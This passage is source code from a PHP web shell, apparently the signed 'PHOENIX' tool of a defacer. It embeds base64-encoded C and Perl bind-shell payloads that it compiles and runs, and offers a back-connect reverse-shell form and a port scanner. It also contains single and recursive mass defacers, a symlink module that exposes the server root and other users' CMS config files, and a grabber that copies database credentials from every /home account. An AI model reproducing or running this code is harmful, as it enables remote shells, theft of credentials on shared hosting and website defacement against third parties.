1311 $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
1312 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1313 echo '<h1>Network tools</h1><div class=content>
1314 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
1315 <br /><span>Bind port to /bin/sh</span><br/>
1316 Port: <input type=\'text\' name=\'port\' value=\'444\'> Password: <input type=\'text\' name=\'pass\' value=\'BHP\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
1317 </form>
1318 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
1319 <br /><br /><span>Back-connect to</span><br/>
1320 Server: <input type=\'text\' name=\'server\' value="'.$_SERVER['REMOTE_ADDR'].'"> Port: <input type=\'text\' name=\'port\' value=\'444\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
1321 </form><br>';
1322 if(isset($_POST['p1'])) {
1323 function cf($f,$t) {
1324 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1325 if($w) {
1326 @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
1327 @fclose($w);
1328 }
1329 }
1330 if($_POST['p1'] == 'bpc') {
1331 cf("/tmp/bp.c",$bind_port_c);
1332 $out = ex("gcc -o /tmp/bp /tmp/bp.c");
1333 @unlink("/tmp/bp.c");
1334 $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
1335 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
1336 }
1337 if($_POST['p1'] == 'bpp') {
1338 cf("/tmp/bp.pl",$bind_port_p);
1339 $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
1340 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
1341 }
1342 if($_POST['p1'] == 'bcc') {
1343 cf("/tmp/bc.c",$back_connect_c);
1344 $out = ex("gcc -o /tmp/bc /tmp/bc.c");
1345 @unlink("/tmp/bc.c");
1346 $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
1347 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
1348 }
1349 if($_POST['p1'] == 'bcp') {
1350 cf("/tmp/bc.pl",$back_connect_p);
1351 $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
1352 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
1353 }
1354 }
1355 echo '</div>';
1356 printFooter();
1357}
1358function actionPortScanner() {
1359 printHeader();
1360 echo '<h1>Port Scanner</h1>';
1361 echo '<div class="content">';
1362 echo '<form action="" method="post">';
1363 if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
1364 $start = strip_tags($_POST['start']);
1365 $end = strip_tags($_POST['end']);
1366 $host = strip_tags($_POST['host']);
1367 for($i = $start; $i<=$end; $i++){
1368 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
1369 if($fp){
1370 echo 'Port '.$i.' is <font color=aqua>open</font><br>';
1371 }
1372 flush();
1373 }
1374 } else {
1375 echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
1376 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
1377 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1378 Host: <input type="text" name="host" value="localhost"/><br /><br />
1379 Port start: <input type="text" name="start" value="0"/><br /><br />
1380 Port end:<input type="text" name="end" value="5000"/><br /><br />
1381 <input type="submit" value="Scan Ports" />
1382 </form></center><br /><br />';
1383 }
1384 echo '</div>';
1385 printFooter();
1386}
1387 function actionDomain() {
1388 printHeader();
1389 echo '<h1>local domain viewer</h1><div class=content>';
1390 $file = @implode(@file("/etc/named.conf"));
1391 if (!$file) {
1392 die("# can't ReaD -> [ /etc/named.conf ]");
1393 }
1394 preg_match_all("#named/(.*?).db#", $file, $r);
1395 $domains = array_unique($r[1]);
1396 //check();
1397 //if(isset($_GET['ShowAll']))
1398 {
1399 echo "<table align=center border=1 width=59% cellpadding=5>
1400<tr><td colspan=2>[+] There are : [ <b>" . count($domains) . "</b> ] Domain</td></tr>
1401<tr><td>Domain</td><td>User</td></tr>";
1402 foreach ($domains as $domain) {
1403 $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
1404 echo "<tr><td>$domain</td><td>" . $user['name'] . "</td></tr>";
1405 }
1406 echo "</table>";
1407 }
1408 echo '</div>';
1409 printFooter();
1410 }
1411
1412function actionDeface() {
1413 printHeader();
1414 echo "<h1>Simple Mass Defacer</h1><div class=content>";
1415?>
1416<form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">
1417<p align="Left">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>">
1418<br>file name : <input type=text name=file size=20 value="index.htm">
1419<br>Text Content : <input type=text name=Contents size=20 value="Hacked by H@cker TatyaVinchu 1337">
1420<br><input type=submit value="Update kar de !!!!!!"></p></form>
1421
1422<?php
1423 if ($_POST['a'] == 'Deface') {
1424 $mainpath = $_POST[p1];
1425 $file = $_POST[p2];
1426 $txtContents = $_POST[p3];
1427 echo "-----------------------------------------------<br>
1428[+] Simple Mass defacer<br>
1429-----------------------------------------------<br><br> ";
1430 $dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!
1431 while ($row = readdir($dir)) {
1432 $start = @fopen("$row/$file", "w+");
1433 $code = $txtContents;
1434 $finish = @fwrite($start, $code);
1435 if ($finish) {
1436 echo "http://$row/$file<br>";
1437 }
1438 }
1439 echo "-----------------------------------------------<br><br>[+] Script by Hacker H@cker TatyaVinchu [+]";
1440 }
1441 echo '</div>';
1442 printFooter();
1443 }
1444
1445
1446 function actionDefacer() {
1447 printHeader();
1448 echo "<h1>Recursive Mass Defacer</h1><div class=content>";
1449?>
1450<form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">
1451<p align="Left">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>">
1452<br>file name : <input type=text name=file size=20 value="index.html">
1453<br>Text Content : <input type=text name=Contents size=20 value="Hacked by H@cker TatyaVinchu 1337">
1454<br><input type=submit value="Update"></p></form>
1455<?php
1456 if ($_POST['a'] == 'Defacer') {
1457 $mainpath = $_POST[p1];
1458 $file = $_POST[p2];
1459 $txtContents = $_POST[p3];
1460 echo "-----------------------------------------------<br>
1461[+] Recursive Mass defacer<br>
1462-----------------------------------------------<br><br> ";
1463 $dir = opendir($mainpath);
1464 while ($row = readdir($dir)) {
1465 $start = @fopen("$row/$file", "w+");
1466 $code = $txtContents;
1467 $finish = @fwrite($start, $code);
1468 if ($finish) {
1469 echo "http://$row/$file<br>";
1470 }
1471 if (strncasecmp(PHP_OS, 'WIN', 3) == 0) {
1472 exec("for /r %cd% %i in (.) do @copy $file %i 1>NUL");
1473} else {
1474 system("find $PWM -type d -exec cp $file {} \;");
1475 }
1476 }
1477 echo "-----------------------------------------------<br><br>[+] Script by H@cker TatyaVinchu 1337 [+]";
1478 }
1479 echo '</div>';
1480 printFooter();
1481 }
1482
1483
1484
1485
1486
1487
1488
1489 function actionSymlink() {
1490 printHeader();
1491 echo '<h1>Symlink</h1>';
1492 $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
1493 $expld = explode('/',$furl );
1494 $burl =str_replace(end($expld),'',$furl);
1495 echo '<div class="content"><center>
1496 <h3>[ <a href="#" onclick="g(\'symlink\',null,\'website\',null)">Domains</a> ] -
1497 [ <a href="#" onclick="g(\'symlink\',null,\'whole\',null)">Whole Server Symlink<sup style="color:red;text-decoration:blink;"></sup></a> ] -
1498 [ <a href="#" onclick="g(\'symlink\',null,\'config\',null)">Config files symlink</a> ]</h3></center>';
1499 if(isset($_POST['p1']) && $_POST['p1']=='website')
1500 {
1501 echo "<center>";
1502 $d0mains = @file("/etc/named.conf");
1503 if(!$d0mains){
1504 echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
1505 } else {
1506 echo "<table align=center class='main' border=0 ><tr><th> Count </th><th> Domains </th><th> Users </th></tr>";
1507 $unk = array();
1508 foreach($d0mains as $d0main){
1509 if(@eregi("zone",$d0main)){
1510 preg_match_all('#zone "(.*)"#', $d0main, $domains);
1511 flush();
1512 if(strlen(trim($domains[1][0])) > 2){
1513 $unk[] = $domains[1][0];
1514 flush();
1515 }
1516 }
1517 }
1518 $count=1;
1519 $unk = array_unique($unk);
1520 $l=0;
1521 foreach($unk as $d){
1522 $user = posix_getpwuid(@fileowner("/etc/valiases/".$d));
1523 echo "<tr".($l?' class=l1':'')."><td>".$count."</td><td><a href=http://".$d."/>".$d."</a></td><td>".$user['name']."</td></tr>";
1524 flush();
1525 $count++;
1526 $l=$l?0:1;
1527 }
1528 echo "</table>";
1529 }
1530 echo "</center>";
1531 }
1532 if(isset($_POST['p1']) && $_POST['p1']=='whole')
1533 {
1534 echo "<center>";
1535 @mkdir('PHOENIX_sym',0777);
1536 $hdt = "Options all\nDirectoryIndex Sux.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nRequire None\nSatisfy Any";
1537 $hfp =@fopen ('PHOENIX_sym/.htaccess','w');
1538 fwrite($hfp ,$hdt);
1539 if(function_exists('symlink')) {
1540 @symlink('/','PHOENIX_sym/root');
1541 }
1542 $d0mains = @file('/etc/named.conf');
1543 if(!$d0mains) {
1544 echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
1545 echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
1546 $dt = file('/etc/passwd');
1547 $l=0;
1548 foreach($dt as $d) {
1549 $r = explode(':',$d);
1550 if(strpos($r[5],'home')) {
1551 echo "<tr".($l?' class=l1':'')."><td>".$j."</td><td>---</td><td>".$r[0]."</td><td><a href='PHOENIX_sym/root".$r[5]."/public_html' target='_blank'>symlink</a></td></tr>";
1552 $l=$l?0:1;
1553 $j++;
1554 }
1555 }
1556 echo '</table>';
1557 } else {
1558 echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
1559 $count=1;
1560 $mck = array();
1561 foreach($d0mains as $d0main){
1562 if(@eregi('zone',$d0main)){
1563 preg_match_all('#zone "(.*)"#',$d0main,$domain);
1564 flush();
1565 if(strlen(trim($domain[1][0])) >2){
1566 $mck[] = $domain[1][0];
1567 }
1568 }
1569 }
1570 $mck = array_unique($mck);
1571 $usr = array();
1572 $dmn = array();
1573 foreach($mck as $o) {
1574 $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
1575 $usr[] = $infos['name'];
1576 $dmn[] = $o;
1577 }
1578 array_multisort($usr,$dmn);
1579 $dt = file('/etc/passwd');
1580 $passwd = array();
1581 foreach($dt as $d) {
1582 $r = explode(':',$d);
1583 if(strpos($r[5],'home')) {
1584 $passwd[$r[0]] = $r[5];
1585 }
1586 }
1587 $l=0;
1588 $j=1;
1589 foreach($usr as $r) {
1590 echo "<tr".($l?' class=l1':'')."><td>".$count++."</td>
1591 <td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td>
1592 <td>'.$r."</td>
1593 <td><a href='PHOENIX_sym/root".$passwd[$r]."/public_html' target='_blank'>symlink</a></td></tr>";
1594 flush();
1595 $l=$l?0:1;
1596 $j++;
1597 }
1598 echo '</table>';
1599 }
1600 echo "</center>";
1601 }
1602 if(isset($_POST['p1']) && $_POST['p1']=='config')
1603 {
1604 echo "<center>";
1605 @mkdir('PHOENIX_sym',0777);
1606 $hdt = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
1607 $hfp = @fopen ('PHOENIX_sym/.htaccess','w');
1608 @fwrite($hfp ,$hdt);
1609 if(function_exists('symlink')) {
1610 @symlink('/','PHOENIX_sym/root');
1611 }
1612 $d0mains = @file('/etc/named.conf');
1613 if(!$d0mains) {
1614 echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
1615 } else {
1616 echo "<table align='center' width='40%' class='main' ><tr><th> Count </th><th> Domain </th<th> User </th>><th> Script </th></tr>";
1617 $count = 1;
1618 $l=0;
1619 foreach($d0mains as $d0main){
1620 if(@eregi('zone',$d0main)){
1621 preg_match_all('#zone "(.*)"#',$d0main,$domain);
1622 flush();
1623 if(strlen(trim($domain[1][0]))>2){
1624 $user = posix_getpwuid(@fileowner('/etc/valiases/'.$domain[1][0]));
1625 $c1 = $burl.'/PHOENIX_sym/root/home/'.$user['name'].'/public_html/wp-config.php';
1626 $ch01 = get_headers($c1);
1627 $cf01 = $ch01[0];
1628 $c2 = $burl.'/PHOENIX_sym/root/home/'.$user['name'].'/public_html/blog/wp-config.php';
1629 $ch02 = get_headers($c2);
1630 $cf02 = $ch02[0];
1631 $c3 = $burl.'/PHOENIX_sym/root/home/'.$user['name'].'/public_html/configuration.php';
1632 $ch03 = get_headers($c3);
1633 $cf03 = $ch03[0];
1634 $c4 = $burl.'/PHOENIX_sym/root/home/'.$user['name'].'/public_html/joomla/configuration.php';
1635 $ch04 = get_headers($c4);
1636 $cf04 = $ch04[0];
1637 $c5 = $burl.'/PHOENIX_sym/root/home/'.$user['name'].'/public_html/includes/config.php';
1638 $ch05 = get_headers($c5);
1639 $cf05 = $ch05[0];
1640 $c6 = $burl.'/PHOENIX_sym/root/home/'.$user['name'].'/public_html/vb/includes/config.php';
1641 $ch06 = get_headers($c6);
1642 $cf06 = $ch06[0];
1643 $c7 = $burl.'/PHOENIX_sym/root/home/'.$user['name'].'/public_html/forum/includes/config.php';
1644 $ch07 = get_headers($c7);
1645 $cf07 = $ch07[0];
1646 $c8 = $burl.'/PHOENIX_sym/root/home/'.$user['name'].'public_html/clients/configuration.php';
1647 $ch08 = get_headers($c8);
1648 $cf08 = $ch08[0];
1649 $c9 = $burl.'/PHOENIX_sym/root/home/'.$user['name'].'/public_html/support/configuration.php';
1650 $ch09 = get_headers($c9);
1651 $cf09 = $ch09[0];
1652 $c10 = $burl.'/PHOENIX_sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
1653 $ch10 = get_headers($c10);
1654 $cf10 = $ch10[0];
1655 $c11 = $burl.'/PHOENIX_sym/root/home/'.$user['name'].'/public_html/submitticket.php';
1656 $ch11 = get_headers($c11);
1657 $cf11 = $ch11[0];
1658 $c12 = $burl.'/PHOENIX_sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
1659 $ch12 = get_headers($c12);
1660 $cf12 = $ch12[0];
1661 $c13 = $burl.'/PHOENIX_sym/root/home/'.$user['name'].'/public_html/includes/configure.php';
1662 $ch13 = get_headers($c13);
1663 $cf13 = $ch13[0];
1664 $c14 = $burl.'/PHOENIX_sym/root/home/'.$user['name'].'/public_html/include/app_config.php';
1665 $ch14 = get_headers($c14);
1666 $cf14 = $ch14[0];
1667 $c15 = $burl.'/PHOENIX_sym/root/home/'.$user['name'].'/public_html/sites/default/settings.php';
1668 $ch15 = get_headers($c15);
1669 $cf15 = $ch15[0];
1670 $out = ' ';
1671 if(strpos($cf01,'200') == true) { $out = "<a href='".$c1."' target='_blank'>Wordpress</a>"; }
1672 elseif(strpos($cf02,'200') == true) { $out = "<a href='".$c2."' target='_blank'>Wordpress</a>"; }
1673 elseif(strpos($cf03,'200') == true && strpos($cf11,'200') == true) { $out = " <a href='".$c11."' target='_blank'>WHMCS</a>"; }
1674 elseif(strpos($cf09,'200') == true) { $out = " <a href='".$c9."' target='_blank'>WHMCS</a>"; }
1675 elseif(strpos($cf10,'200') == true) { $out = " <a href='".$c10."' target='_blank'>WHMCS</a>"; }
1676 elseif(strpos($cf03,'200') == true) { $out = " <a href='".$c3."' target='_blank'>Joomla</a>"; }
1677 elseif(strpos($cf04,'200') == true) { $out = " <a href='".$c4."' target='_blank'>Joomla</a>"; }
1678 elseif(strpos($cf05,'200') == true) { $out = " <a href='".$c5."' target='_blank'>vBulletin</a>"; }
1679 elseif(strpos($cf06,'200') == true) { $out = " <a href='".$c6."' target='_blank'>vBulletin</a>"; }
1680 elseif(strpos($cf07,'200') == true) { $out = " <a href='".$c7."' target='_blank'>vBulletin</a>"; }
1681 elseif(strpos($cf08,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; }
1682 elseif(strpos($cf12,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; }
1683 elseif(strpos($cf13,'200') == true) { $out = " <a href='".$c7."' target='_blank'>osCommerce/Zen Cart</a>"; }
1684 elseif(strpos($cf14,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Magento</a>"; }
1685 elseif(strpos($cf15,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Drupal</a>"; }
1686 else {
1687 continue;
1688 }
1689 echo '<tr'.($l?' class=l1':'').'><td>'.$count++.'</td><td><a href=http://www.'.$domain[1][0].'/>'.$domain[1][0].'</a></td><td>'.$user['name'].'</td><td>'.$out.'</td></tr>';
1690 flush();
1691 $l=$l?0:1;
1692 }
1693 }
1694 }
1695 echo "</table>";
1696 }
1697 echo "</center>";
1698 }
1699 echo "</div>";
1700 printFooter();
1701}
1702 function actionJumping()
1703{ printHeader();
1704echo '<html><head><title>'.getenv("HTTP_HOST").' - Jumping Server</title></head><body>';
1705($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<font size="4" color="#000000" face="Calibri"><b>Error: Safe_mode = On</b></font>');
1706set_time_limit(0);@$passwd = fopen('/etc/passwd','r');if (!$passwd) { die('<font size="4" color="#e5e5e5" face="Calibri"><b>[-] Error : Coudn`t Read /etc/passwd</b></font>'); }
1707$pub = array();$users = array();$conf = array();$i = 0;while(!feof($passwd)){$str = fgets($passwd);if ($i > 100){ $pos = strpos($str,':'); $username = substr($str,0,$pos); $dirz = '/home/'.$username.'/public_html/'; if (($username != '')) { if (is_readable($dirz)) { array_push($users,$username); array_push($pub,$dirz); }}}$i++;}
1708echo '<font color=red> [-]==================[ Ye loo jumping ]==================[-]<br></font>';
1709foreach ($users as $user){echo "<font color=#a3e956> [+] /home/$user/public_html/</font><br/>";} echo "\n <font color=red><br>[-]==================[ khatam kitna kudega ]==================[-] <br></font>\n"; echo '</body></html>';
1710printFooter();
1711}
1712function actionSubdomain() {
1713 printHeader();
1714 error_reporting(0);
1715$user = get_current_user();
1716$open = opendir('/home/' . $user . '/access-logs/');
1717while ($dir = readdir($open)) {
1718 $totalDoamin[] = $dir;
1719}
1720closedir($open);
1721$total = count($totalDoamin);
1722$domain = $total - 2;
1723if ($domain > 0) {
1724 echo "<h2><b><font style=\"color: #a3e956 ;\" > ~ Total </font><font style=\"color: #a3e956; \">" . $domain . "</font><font style=\"color: #a3e956;\" > Sub Domain Found! ~ </font><br><BR>";
1725} else {
1726 echo "<h2><b> ~ <font color='red' style=\"color: red; text-shadow: red 0px 0px 4px ; \">0</font><font style=\"color: #black; text-shadow: black 0px 0px 6px ;\"> Sub Domain Found! ~</font><br><BR>";
1727}
1728$scan = array_diff(scandir('/home/' . $user . '/access-logs/'), array('.'));
1729$domains = implode("
1730http://", $scan);
1731echo '
1732<style>
1733body {
1734 text-align: center;
1735 }
1736 </style><textarea style="color: #a3e956; background-color: black" rows=\'30\' cols=\'100\'>';
1737print_r($domains);
1738echo '</textarea>';
1739 printFooter();
1740}
1741function actionConfigGrabber() {
1742 printHeader();
1743 error_reporting(0);
1744system('mkdir PHOENIX');
1745 chmod('PHOENIX', 0777);
1746$users = file("/etc/passwd");
1747 $lolx = array();
1748 foreach ($users as $user) {
1749 $users = explode(":", $user);
1750 $lolx[] = $users[0];
1751 }
1752 foreach ($lolx as $lol) {
1753 $space = "
1754
1755" . "*" . "
1756" . "*" . "
1757" . "*" . "
1758
1759";
1760 if (file_exists('/home/' . $lol . 'public_html/portal/configuration.php')) {
1761 $content = file_get_contents('/home/' . $lol . 'public_html/portal/configuration.php');
1762 $handle = fopen('PHOENIX/whm.txt', 'a');
1763 fwrite($handle, $content . $space);
1764 fclose($handle);
1765 } elseif (file_exists('/home/' . $lol . '/public_html/inc/config.php')) {
1766 $content1 = file_get_contents('/home/' . $lol . '/public_html/inc/config.php');
1767 $handle = fopen('PHOENIX/config.txt', 'a');
1768 fwrite($handle, $content . $space);
1769 fclose($handle);
1770 } elseif (file_exists('/home/' . $lol . '/public_html/sites/default/settings.php')) {
1771 $content2 = file_get_contents('/home/' . $lol . '/public_html/sites/default/settings.php');
1772 $handle = fopen('PHOENIX/config.txt', 'a');
1773 fwrite($handle, $content2 . $space);
1774 fclose($handle);
1775 } elseif (file_exists('/home/' . $lol . '/public_html/includes/configure.php')) {
1776 $content3 = file_get_contents('/home/' . $lol . '/public_html/includes/configure.php');
1777 $handle = fopen('PHOENIX/config.txt', 'a');
1778 fwrite($handle, $content3 . $space);
1779 fclose($handle);
1780 } elseif (file_exists('/home/' . $lol . '/public_html/lib/config.php')) {
1781 $content4 = file_get_contents('/home/' . $lol . '/public_html/lib/config.php');
1782 $handle = fopen('PHOENIX/config.txt', 'a');
1783 fwrite($handle, $content4 . $space);
1784 fclose($handle);
1785 } elseif (file_exists('/home/' . $lol . '/public_html/config/koneksi.php')) {
1786 $content5 = file_get_contents('/home/' . $lol . '/public_html/config/koneksi.php');
1787 $handle = fopen('PHOENIX/config.txt', 'a');
1788 fwrite($handle, $content5 . $space);
1789 fclose($handle);
1790 } elseif (file_exists('/home/' . $lol . '/public_html/vb/includes/config.php')) {
1791 $content6 = file_get_contents('/home/' . $lol . '/public_html/vb/includes/config.php');
1792 $handle = fopen('PHOENIX/config.txt', 'a');
1793 fwrite($handle, $content6 . $space);
1794 fclose($handle);
1795 } elseif (file_exists('/home/' . $lol . '/public_html/includes/config.php')) {
1796 $content7 = file_get_contents('/home/' . $lol . '/public_html/includes/config.php');
1797 $handle = fopen('PHOENIX/config.txt', 'a');
1798 fwrite($handle, $content7 . $space);
1799 fclose($handle);
1800 } elseif (file_exists('/home/' . $lol . '/public_html/forum/includes/config.php')) {
1801 $content8 = file_get_contents('/home/' . $lol . '/public_html/forum/includes/config.php');
1802 $handle = fopen('PHOENIX/config.txt', 'a');
1803 fwrite($handle, $content8 . $space);
1804 fclose($handle);
1805 } elseif (file_exists('/home/' . $lol . '/public_html/cc/includes/config.php')) {
1806 $content9 = file_get_contents('/home/' . $lol . '/public_html/cc/includes/config.php');
1807 $handle = fopen('PHOENIX/config.txt', 'a');
1808 fwrite($handle, $content9 . $space);
1809 fclose($handle);
1810 } elseif (file_exists('/home/' . $lol . '/public_html/config.php')) {
1811 $content10 = file_get_contents('/home/' . $lol . '/public_html/config.php');
1812 $handle = fopen('PHOENIX/config.txt', 'a');
1813 fwrite($handle, $content10 . $space);
1814 fclose($handle);
1815 } elseif (file_exists('/home/' . $lol . '/public_html/forum/includes/config.php')) {
1816 $content11 = file_get_contents('/home/' . $lol . '/public_html/forum/includes/config.php');
1817 $handle = fopen('PHOENIX/config.txt', 'a');
1818 fwrite($handle, $content11 . $space);
1819 fclose($handle);
1820 } elseif (file_exists('/home/' . $lol . '/public_html/wp-config.php')) {
1821 $content12 = file_get_contents('/home/' . $lol . '/public_html/wp-config.php');
1822 $handle = fopen('PHOENIX/config.txt', 'a');
1823 fwrite($handle, $content12 . $space);
1824 fclose($handle);
1825 } elseif (file_exists('/home/' . $lol . '/public_html/blog/wp-config.php')) {
1826 $content13 = file_get_contents('/home/' . $lol . '/public_html/blog/wp-config.php');
1827 $handle = fopen('PHOENIX/config.txt', 'a');
1828 fwrite($handle, $content13 . $space);
1829 fclose($handle);
1830 } elseif (file_exists('/home/' . $lol . '/public_html/wp/wp-config.php')) {
1831 $content14 = file_get_contents('/home/' . $lol . '/public_html/wp/wp-config.php');
1832 $handle = fopen('PHOENIX/config.txt', 'a');
1833 fwrite($handle, $content14 . $space);
1834 fclose($handle);
1835 } elseif (file_exists('/home/' . $lol . '/public_html/home/wp-config.php')) {
1836 $content15 = file_get_contents('/home/' . $lol . '/public_html/home/wp-config.php');
1837 $handle = fopen('PHOENIX/config.txt', 'a');
1838 fwrite($handle, $content15 . $space);
1839 fclose($handle);
1840 } elseif (file_exists('/home/' . $lol . '/public_html/wp-config.php')) {
1841 $content16 = file_get_contents('/home/' . $lol . '/public_html/wp-config.php');
1842 $handle = fopen('PHOENIX/config.txt', 'a');
1843 fwrite($handle, $content16 . $space);
1844 fclose($handle);
1845 } elseif (file_exists('/home/' . $lol . '/public_html/main/wp-config.php')) {
1846 $content17 = file_get_contents('/home/' . $lol . '/public_html/main/wp-config.php');
1847 $handle = fopen('PHOENIX/config.txt', 'a');
1848 fwrite($handle, $content17 . $space);
1849 fclose($handle);
1850 } elseif (file_exists('/home/' . $lol . '/public_html/site/wp-config.php')) {
1851 $content18 = file_get_contents('/home/' . $lol . '/public_html/site/wp-config.php');
1852 $handle = fopen('PHOENIX/config.txt', 'a');
1853 fwrite($handle, $content18 . $space);
1854 fclose($handle);
1855 } elseif (file_exists('/home/' . $lol . '/public_html/configuration.php')) {
1856 $content19 = file_get_contents('/home/' . $lol . '/public_html/configuration.php');
1857 $handle = fopen('PHOENIX/config.txt', 'a');
1858 fwrite($handle, $content19 . $space);
1859 fclose($handle);
1860 } elseif (file_exists('/home/' . $lol . '/public_html/blog/configuration.php')) {
1861 $content20 = file_get_contents('/home/' . $lol . '/public_html/blog/configuration.php');
1862 $handle = fopen('PHOENIX/config.txt', 'a');
1863 fwrite($handle, $content20 . $space);
1864 fclose($handle);
1865 } elseif (file_exists('/home/' . $lol . '/public_html/joomla/configuration.php')) {
1866 $content21 = file_get_contents('/home/' . $lol . '/public_html/joomla/configuration.php');
1867 $handle = fopen('PHOENIX/config.txt', 'a');
